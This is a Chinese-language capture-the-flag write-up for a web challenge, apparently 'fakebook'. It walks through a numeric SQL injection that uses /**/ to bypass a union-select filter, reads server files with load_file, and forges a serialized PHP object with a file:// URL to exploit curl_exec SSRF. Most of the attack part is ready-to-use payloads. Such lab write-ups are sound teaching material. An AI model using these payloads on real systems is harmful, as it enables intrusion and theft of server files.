提示
- 数字型sql注入
- src
- robots.txt
- 当数据库是root权限使可以使用load_file函数
这里先用dirsearch扫一遍
一般做题都要扫,这道题扫描速度不能太快,不然会429报错
这里扫到了比较重要的两个,/var/www/html/flag.php这个肯定是不能直接访问的,但是还有robots.txt
访问robots.txt看看
这里有返回一个备份文件,下载来看看
这里主要的有这点
curl_exec这个函数用不好就会造成src漏洞
所以这里就有了一个构成src漏洞的思路,继续往下走看怎么利用
随便注册一个账户登录
这里本来想尝试能不能注册管理员账户,但这个网站好像并没有管理员这个说法
我自己的理解
- 这里对登录界面进行sql注入是不明智的,并没有什么用,没有管理员一说,就算有大概和普通用户的登陆后界面也一样
点击admin到另一个界面
这里我对两个点有些许怀疑
所以到这里有两种方法去做
首先通过order by看有几个字段
当尝试到5的时候报错
union select 1,2,3,4
这里说我是黑客
fuzz一下看过滤了啥
这里看起来像是过滤了空格,但其实之过滤了union空格select,完整的且大小写匹配
但是换成union/**/select就绕过了,这个防护还不如不做
接着我们的联合查询
payload: 1 union/**/select 1,2,3,4
这里的报错点在2
现在就是一系列信息搜集
数据库:fakebook
-1%20union/**/select%201,database(),3,4
用户信息:root@localhost
-1%20union/**/select%201,user(),3,4
操作系统:linux
-1%20union/**/select%201,@@version_compile_os,3,4
数据库版本:10.2.26-MariaDB-log
-1%20union/**/select%201,version(),3,4
这里没想到呀,居然是root权限的用户
当权限是root那么我们就可以使用函数load_file直接读取服务器的文件(load_file里的必须时绝对路径,不能是相对路径)
读取flag文件
-1%20union/**/select%201,load_file(%27/var/www/html/flag.php%27),3,4
查看源代码获得flag
到这里还是没有什么思路,先把数据库查完
查表:users
-1%20union/**/select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
查字段:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
这里一个一个看看
到这里的时候发现序列化后的UserInfo对象
payload:-1%20union/**/select%201,group_concat(data),3,4%20from%20users
这里就能看到最后那一节不就是我们注册的时候的博客吗,并且这个页面也会返回base64后的页面代码
这里明显就是刚开始我们发现的备份文件里的代码反序列化的结果
我们把这个反序列化一下再改一下
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:36:"https://mp.csdn.net/mp_blog/creation";}
这里s后面的数字就是他后面有多少个字符,file是用于读取本地文件的,里面得用绝对路径
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
-1%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
明显返回正常了,正确解析了我们上传的东西,blog这里访问了我们放的东西(这里放在union/**/select 1,2,3,4的4的位置是因为data字段本就在第四个)
查看源代码
这里拿去base64解码便得到了flag